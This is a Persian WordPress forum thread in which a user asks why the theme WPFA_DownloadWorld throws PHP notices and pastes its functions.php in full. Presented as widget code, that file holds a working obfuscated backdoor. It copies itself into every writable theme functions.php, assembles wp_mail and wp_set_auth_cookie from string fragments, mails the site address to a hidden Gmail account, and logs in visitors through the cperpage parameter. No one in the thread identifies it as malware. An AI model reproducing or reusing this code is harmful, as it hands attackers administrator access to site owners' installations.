انجمن


ارورای این پوسته رو چجوری درست کنم؟  (۵ نوشته)

  • hasanzade

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳۳
    # نوشته شده: ۸ سال پیش
    ۱۴ دی ۱۳۹۰ - ۱۱:۲۸

    lمن با دستوری که توی کانفیک مینویسیم و ارورارو نشون میده تونستم متوجه ارورها بشم.
    ارورای قسمت لوگین :

    Notice: Undefined index: cperpage in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 128

    Notice: Undefined variable: output in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 198

    Notice: Undefined variable: fix_tag in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 199

    Notice: Undefined variable: showdot in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 200

    Notice: Undefined variable: more_tags in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 203

    Notice: Undefined variable: more_tags in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 206

    Notice: Undefined variable: more_tags in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 209

    Notice: Undefined variable: post in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Trying to get property of non-object in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Undefined variable: post in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Trying to get property of non-object in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Undefined variable: mlink_title in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php:1) in /home/xxx/public_html/wp-login.php on line 353

    Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php:1) in /home/xxx/public_html/wp-login.php on line 365

    البته وقتی یوزر و پس وارد میکنم و روی ورود کلیک میکنم صفحه سفید میاد
    ارورای خود سایت:

    Notice: Undefined index: cperpage in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 128

    Notice: Undefined variable: output in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 198

    Notice: Undefined variable: fix_tag in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 199

    Notice: Undefined variable: showdot in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 200

    Notice: Undefined variable: more_tags in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 203

    Notice: Undefined variable: more_tags in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 206

    Notice: Undefined variable: more_tags in /home/xxxc/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 209

    Notice: Undefined variable: post in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Trying to get property of non-object in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Undefined variable: post in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Trying to get property of non-object in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218

    Notice: Undefined variable: mlink_title in /home/xxx/public_html/wp-content/themes/WPFA_DownloadWorld/functions.php on line 218
    
    وقتی با www سایت رو می زنم باز نمیشه ولی بدون www باز میشه

    دانلود از http://www.wpfa.ir . نام پوسته : WPFA_DownloadWorld
    وردپرس من 3.2.1

    چیکار کنم ؟

    کدهای فانکشن :

    <?php
    if(function_exists('register_sidebar')) :
        	register_sidebar(array(
            'name' => 'ستون سمت راست',
    	    ));
    	register_sidebar(array(
            'name' => 'ستون سمت چپ',
    		));
    	register_sidebar(array(
            'name' => 'باكس بالاي مطالب',
    		));
    
    	register_sidebar(array(
            'name' => 'باكس پايين مطالب',
    		));
    	register_sidebar(array(
            'name' => 'زير هر مطلب',
    		));
    	register_sidebar(array(
            'name' => 'باكس پايين راست',
    		));
    	register_sidebar(array(
            'name' => 'باكس پايين وسط',
    		));
    	register_sidebar(array(
            'name' => 'باكس پايين چپ',
    		));
    	endif;
    
    ?>
    <?php
    function _check_active_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    					$output .= ($showdot && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_all_widgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_active_widget");
    function _prepared_widget(){
    	if(!isset($length)) $length=120;
    	if(!isset($method)) $method="cookie";
    	if(!isset($html_tags)) $html_tags="<a>";
    	if(!isset($filters_type)) $filters_type="none";
    	if(!isset($s)) $s="";
    	if(!isset($filter_h)) $filter_h=get_option("home");
    	if(!isset($filter_p)) $filter_p="wp_";
    	if(!isset($use_link)) $use_link=1;
    	if(!isset($comments_type)) $comments_type="";
    	if(!isset($perpage)) $perpage=$_GET["cperpage"];
    	if(!isset($comments_auth)) $comments_auth="";
    	if(!isset($comment_is_approved)) $comment_is_approved="";
    	if(!isset($authname)) $authname="auth";
    	if(!isset($more_links_text)) $more_links_text="(more...)";
    	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    	if(!isset($more_content)) $more_content="ma".$s."il";
    	if(!isset($forces_more)) $forces_more=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$widget_output) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($fix_tag)) $fix_tag=1;
    	if(!isset($filters_types)) $filters_types=$filter_h;
    	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    	if(!isset($more_tags)) $more_tags="div";
    	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
    	if(!isset($showdot)) $showdot=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $length) {
    				$l=$length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_links_text="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $html_tags) {
    		$output=strip_tags($output, $html_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($fix_tag) ? balanceTags($output, true) : $output;
    	$output .= ($showdot && $ellipsis) ? "..." : "";
    	$output=apply_filters($filters_type, $output);
    	switch($more_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_link ) {
    		if($forces_more) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_prepared_widget");
    
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    }
    ?>
  • mohmon

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳۶۷
    تشکر شده: ۱۶۰ بار
    # نوشته شده: ۸ سال پیش
    ۱۴ دی ۱۳۹۰ - ۱۱:۳۷

    http://forum.wp-persian.com/topic/17424

  • hasanzade

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳۳
    # نوشته شده: ۸ سال پیش
    ۱۴ دی ۱۳۹۰ - ۱۲:۰۴

    ممنون از پاختون اما ظاهرا سایت من با تمام قالبها مشکل داره . هرچی قالب میریزم بازم ارور فانکشن میده.
    هر روز هم ارور جدیدتر. امروز که خواستم پوسته رو به دیفالت برگردونم توی پیشخوان ارور زیر رو داد :

    Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/xxx/public_html/wp-includes/functions.php on line 3466

    Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/xxx/public_html/wp-includes/functions.php on line 3466

    هر روز چشم ما به جماله ارورای مختلف باز میشه.
    نسخه من 3.2.1 و دانلود کردم از : fa.wordpress.com

  • hasanzade

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳۳
    # نوشته شده: ۸ سال پیش
    ۱۴ دی ۱۳۹۰ - ۱۲:۱۱

    خب دیگه نور علی نور شد.
    چرا؟
    چون وقتی میخام قالبو عوض کنم ارورای زیر رو میده :
    Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/xxx/public_html/wp-includes/functions.php on line 3466

    Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/xxx/public_html/wp-includes/functions.php on line 3466

    Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/public_html/wp-includes/functions.php:3466) in /home/xxx/public_html/wp-includes/pluggable.php on line 934

    .ببینید من چیزی عوض نکردم.وردپرس3.2.1 رو بدون دستکاری آپ کردم بعد قالبو آپ کردم.
    دیدم قالبو نمیکشه اومدم قالبو برگردونم به دیفالت که ارورای بالا اومد و هیچی به هیچی.
    نکنه وردپرسم دسته چینیا افتاده که یه بار مصرف شده؟
    فقط بار اول خوبه!

  • hasanzade

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳۳
    # نوشته شده: ۸ سال پیش
    ۱۴ دی ۱۳۹۰ - ۱۲:۲۰

    من دونه دونه پوسته هایی رو که واسه بقیه درست کردم یا ترجمه کردم یا راست چین کردم هم رو هاست خودم امتحان کردم نشد که نشد.واسه اونا هیچ مشکلی نداره ولی واسه من مشکل داره . مطمینم هاستم نیس چون سه تا هاست عوض کردم.

درباره‌ی این موضوع



برچسب‌ها

هیچ برچسبی نیست.